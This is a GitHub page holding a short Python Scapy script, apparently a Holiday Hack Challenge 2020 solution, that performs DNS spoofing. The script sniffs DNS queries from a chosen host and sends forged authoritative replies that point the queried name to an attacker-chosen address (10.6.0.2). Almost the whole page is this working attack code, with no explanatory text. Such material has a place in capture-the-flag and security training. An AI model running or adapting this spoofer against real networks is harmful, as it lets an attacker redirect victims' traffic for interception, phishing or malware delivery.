-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathHH2020 - dns_spoof_scapy.py
63 lines (52 loc) · 1.69 KB
/
HH2020 - dns_spoof_scapy.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
#!/usr/bin/python3
# Import scapy libraries
from scapy.all import *
# Set the interface to listen and respond on
net_interface = "eth0"
# Berkeley Packet Filter for sniffing specific DNS packet only
packet_filter = " and ".join([
"udp dst port 53", # Filter UDP port 53
"udp[10] & 0x80 = 0", # DNS queries only
"src host 10.6.6.35" # IP source <ip>
])
# Function that replies to DNS query
def dns_reply(packet):
# Construct the DNS packet
# Construct the Ethernet header by looking at the sniffed packet
eth = Ether(
src=packet[Ether].dst,
dst=packet[Ether].src
)
# Construct the IP header by looking at the sniffed packet
ip = IP(
src=packet[IP].dst,
dst=packet[IP].src
)
# Construct the UDP header by looking at the sniffed packet
udp = UDP(
dport=packet[UDP].sport,
sport=packet[UDP].dport
)
# Construct the DNS response by looking at the sniffed packet and manually
dns = DNS(
id=packet[DNS].id,
qd=packet[DNS].qd,
aa=1,
rd=0,
qr=1,
qdcount=1,
ancount=1,
nscount=0,
arcount=0,
ar=DNSRR(
rrname=packet[DNS].qd.qname,
type='A',
ttl=600,
rdata='10.6.0.2')
)
# Put the full packet together
response_packet = eth / ip / udp / dns
# Send the DNS response
sendp(response_packet, iface=net_interface)
# Sniff for a DNS query matching the 'packet_filter' and send a specially crafted reply
sniff(filter=packet_filter, prn=dns_reply, store=0, iface=net_interface, count=1)